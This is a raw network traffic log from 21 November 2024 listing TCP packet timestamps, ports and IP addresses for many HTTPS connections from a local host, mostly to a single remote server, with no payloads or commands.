Nov 21, 2024 14:45:18.568228960 CET	49779	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.568331957 CET	443	49779	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.570955992 CET	443	49772	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.571000099 CET	443	49772	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.571044922 CET	49772	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.571053028 CET	443	49772	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.571090937 CET	49772	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.571109056 CET	49772	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.578553915 CET	443	49772	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.578605890 CET	443	49772	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.578641891 CET	49772	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.578649998 CET	443	49772	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.578675985 CET	49772	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.578697920 CET	49772	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.584907055 CET	443	49772	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.584954977 CET	443	49772	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.585020065 CET	49772	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.585027933 CET	443	49772	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.585062981 CET	49772	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.585081100 CET	49772	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.591737032 CET	443	49772	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.591780901 CET	443	49772	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.591831923 CET	49772	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.591847897 CET	443	49772	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.591871977 CET	49772	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.591890097 CET	49772	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.599203110 CET	443	49772	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.599246979 CET	443	49772	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.599323034 CET	49772	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.599330902 CET	443	49772	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.599344969 CET	49772	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.599370003 CET	49772	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.606919050 CET	443	49772	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.606941938 CET	443	49772	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.606987953 CET	49772	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.606995106 CET	443	49772	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.607028008 CET	49772	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.607047081 CET	49772	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.607052088 CET	443	49772	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.607104063 CET	443	49772	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.607153893 CET	49772	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.607290983 CET	49772	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.607321978 CET	443	49772	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.850250959 CET	443	49780	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.850713968 CET	49780	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.850739956 CET	443	49780	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.854362965 CET	443	49780	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.854441881 CET	49780	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.854760885 CET	49780	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.854970932 CET	443	49780	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.854979992 CET	49780	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.854979992 CET	49780	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.855132103 CET	443	49780	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.890160084 CET	443	49781	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.890522957 CET	49781	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.890544891 CET	443	49781	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.890914917 CET	443	49781	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.891410112 CET	49781	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.891478062 CET	443	49781	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.891590118 CET	49781	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.891673088 CET	443	49781	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.895246029 CET	443	49782	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.895365953 CET	443	49784	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.895536900 CET	49782	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.895555019 CET	443	49782	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.895677090 CET	49784	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.895735025 CET	443	49784	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.896998882 CET	443	49782	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.897078991 CET	49782	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.897241116 CET	443	49784	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.897315979 CET	49784	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.897336960 CET	49782	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.897433996 CET	443	49782	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.897597075 CET	49784	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.897706985 CET	443	49784	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.897754908 CET	49782	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.897770882 CET	443	49782	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.897818089 CET	49784	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.897839069 CET	443	49784	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.900063038 CET	443	49783	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.900230885 CET	49783	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.900243044 CET	443	49783	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.903491974 CET	49780	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.903501987 CET	443	49780	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.903790951 CET	443	49783	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.903881073 CET	49783	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.906001091 CET	49783	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.906167030 CET	443	49783	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.906205893 CET	49783	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.906323910 CET	443	49783	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.924604893 CET	443	49785	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.924856901 CET	49785	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.924895048 CET	443	49785	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.926820040 CET	443	49785	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.927001953 CET	49785	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.927160978 CET	49785	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.927251101 CET	443	49785	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.927331924 CET	49785	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.927426100 CET	443	49785	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.951605082 CET	49783	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.951606035 CET	49780	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.951606035 CET	49782	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.951611996 CET	49784	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.951613903 CET	443	49783	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.967714071 CET	49785	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.967776060 CET	443	49785	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.970177889 CET	443	49786	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.970386028 CET	49786	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.970406055 CET	443	49786	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.971281052 CET	443	49786	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.971354961 CET	49786	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.971604109 CET	49786	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.971667051 CET	443	49786	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.971755028 CET	49786	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:18.971786022 CET	443	49786	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:18.999593019 CET	49783	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.015511990 CET	49786	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.015513897 CET	49785	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.206486940 CET	443	49779	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.206511021 CET	443	49779	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.206576109 CET	443	49779	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.206669092 CET	49779	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.206669092 CET	49779	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.207768917 CET	49779	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.207786083 CET	443	49779	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.251756907 CET	443	49778	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.251785040 CET	443	49778	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.251863003 CET	443	49778	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.251888990 CET	49778	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.251981020 CET	49778	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.254024029 CET	49778	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.254067898 CET	443	49778	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.515774965 CET	443	49783	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.515836954 CET	443	49783	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.515857935 CET	443	49783	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.515908957 CET	49783	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.515928984 CET	443	49783	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.515954018 CET	49783	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.516628981 CET	49783	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.516700029 CET	443	49783	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.516772985 CET	49783	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.519524097 CET	49788	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.519627094 CET	443	49788	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.519711018 CET	49788	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.520026922 CET	49788	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.520064116 CET	443	49788	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.561151981 CET	443	49782	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.590471029 CET	443	49785	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.590504885 CET	443	49785	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.590595007 CET	49785	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.590656996 CET	443	49785	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.590718031 CET	49785	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.591469049 CET	443	49782	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.591532946 CET	49782	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.591659069 CET	49785	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.591712952 CET	443	49785	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.591774940 CET	49785	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.592561960 CET	49782	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.592587948 CET	443	49782	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.596152067 CET	49789	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.596185923 CET	443	49789	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.596256018 CET	49789	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.596436977 CET	49790	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.596513987 CET	443	49790	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.596575022 CET	49790	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.596661091 CET	49789	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.596678019 CET	443	49789	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.596831083 CET	49790	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.596868038 CET	443	49790	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.600200891 CET	443	49780	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.600253105 CET	443	49780	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.600272894 CET	443	49780	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.600291014 CET	443	49780	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.600310087 CET	49780	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.600338936 CET	443	49780	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.600353003 CET	49780	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.600411892 CET	443	49780	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.600430012 CET	443	49780	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.600474119 CET	443	49780	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.600491047 CET	49780	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.600507021 CET	443	49780	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.600522041 CET	49780	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.600599051 CET	443	49780	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.600646019 CET	49780	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.600657940 CET	443	49780	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.600730896 CET	443	49780	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.600780010 CET	49780	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.604403019 CET	49780	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.604414940 CET	443	49780	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.608117104 CET	49791	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.608153105 CET	443	49791	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.608220100 CET	49791	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.608436108 CET	49791	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.608450890 CET	443	49791	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.694753885 CET	443	49784	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.694812059 CET	443	49784	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.694833040 CET	443	49784	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.694873095 CET	443	49784	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.694890976 CET	443	49784	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.694909096 CET	443	49784	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.694902897 CET	49784	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.694993019 CET	443	49784	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.695039034 CET	49784	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.695039034 CET	49784	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.695074081 CET	49784	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.695089102 CET	443	49784	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.695239067 CET	443	49784	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.695297003 CET	49784	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.696482897 CET	49784	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.696518898 CET	443	49784	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.707762957 CET	49792	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.707827091 CET	443	49792	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.707915068 CET	49792	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.708142042 CET	49792	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.708174944 CET	443	49792	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.712055922 CET	443	49781	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.712085009 CET	443	49781	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.712101936 CET	443	49781	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.712184906 CET	49781	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.712227106 CET	443	49781	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.712311983 CET	49781	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.755114079 CET	443	49781	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.755139112 CET	443	49781	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.755244970 CET	49781	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.755276918 CET	443	49781	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.755356073 CET	49781	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.827428102 CET	49793	443	192.168.2.16	20.190.159.68
Nov 21, 2024 14:45:19.827474117 CET	443	49793	20.190.159.68	192.168.2.16
Nov 21, 2024 14:45:19.827562094 CET	49793	443	192.168.2.16	20.190.159.68
Nov 21, 2024 14:45:19.829447031 CET	49793	443	192.168.2.16	20.190.159.68
Nov 21, 2024 14:45:19.829464912 CET	443	49793	20.190.159.68	192.168.2.16
Nov 21, 2024 14:45:19.859036922 CET	443	49786	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.859056950 CET	443	49786	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.859082937 CET	443	49786	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.859097004 CET	443	49786	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.859114885 CET	443	49786	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.859157085 CET	49786	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.859227896 CET	443	49786	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.859267950 CET	49786	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.859292030 CET	49786	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.913115025 CET	443	49781	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.913136959 CET	443	49781	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.913214922 CET	49781	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.913239956 CET	443	49781	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.913290024 CET	49781	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.940021038 CET	443	49786	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.940074921 CET	443	49786	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.940138102 CET	49786	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.940511942 CET	49786	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.940555096 CET	443	49786	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.942136049 CET	443	49781	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.942154884 CET	443	49781	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.942255974 CET	49781	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.942285061 CET	443	49781	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.942349911 CET	49781	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.974447012 CET	443	49781	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.974464893 CET	443	49781	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.974548101 CET	49781	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:19.974577904 CET	443	49781	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:19.974636078 CET	49781	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:20.002418041 CET	443	49781	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:20.002440929 CET	443	49781	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:20.002540112 CET	49781	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:20.002583027 CET	443	49781	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:20.002744913 CET	49781	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:20.115952969 CET	443	49781	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:20.116000891 CET	443	49781	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:20.116031885 CET	443	49781	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:20.116194010 CET	49781	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:20.116194963 CET	49781	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:20.116425037 CET	49781	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:20.116445065 CET	443	49781	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:20.120392084 CET	49794	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:20.120486975 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:20.120575905 CET	49794	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:20.120793104 CET	49794	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:20.120831966 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.025454998 CET	443	49788	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.025726080 CET	49788	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.025768995 CET	443	49788	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.026294947 CET	443	49788	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.026602030 CET	49788	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.026686907 CET	443	49788	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.026766062 CET	49788	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.026799917 CET	443	49788	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.046586037 CET	443	49790	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.046792030 CET	49790	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.046817064 CET	443	49790	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.048342943 CET	443	49790	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.048424006 CET	49790	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.048703909 CET	49790	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.048784018 CET	443	49790	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.048858881 CET	49790	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.048870087 CET	443	49790	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.082137108 CET	443	49789	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.082674026 CET	49789	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.082690001 CET	443	49789	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.083837986 CET	443	49789	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.084181070 CET	49789	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.084342957 CET	49789	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.084356070 CET	443	49789	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.084475040 CET	443	49789	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.097527027 CET	49790	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.111197948 CET	443	49791	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.111459017 CET	49791	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.111469984 CET	443	49791	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.115284920 CET	443	49791	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.115353107 CET	49791	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.115658998 CET	49791	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.115719080 CET	443	49791	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.115828037 CET	49791	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.115834951 CET	443	49791	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.128511906 CET	49789	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.157780886 CET	443	49792	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.158003092 CET	49792	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.158021927 CET	443	49792	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.159522057 CET	443	49792	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.159586906 CET	49792	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.159846067 CET	49792	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.159925938 CET	443	49792	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.160007954 CET	49792	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.160016060 CET	443	49792	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.160494089 CET	49791	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.208504915 CET	49792	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.568211079 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.568528891 CET	49794	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.568559885 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.569992065 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.570082903 CET	49794	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.570374966 CET	49794	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.570481062 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.570543051 CET	49794	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.570576906 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.612786055 CET	49721	80	192.168.2.16	164.132.95.123
Nov 21, 2024 14:45:21.622503996 CET	49794	443	192.168.2.16	185.156.109.33
Nov 21, 2024 14:45:21.622528076 CET	443	49794	185.156.109.33	192.168.2.16
Nov 21, 2024 14:45:21.633125067 CET	443	49793	20.190.159.68	192.168.2.16
Nov 21, 2024 14:45:21.633372068 CET	49793	443	192.168.2.16	20.190.159.68
Nov 21, 2024 14:45:21.633383036 CET	443	49793	20.190.159.68	192.168.2.16
Nov 21, 2024 14:45:21.634835005 CET	443	49793	20.190.159.68	192.168.2.16
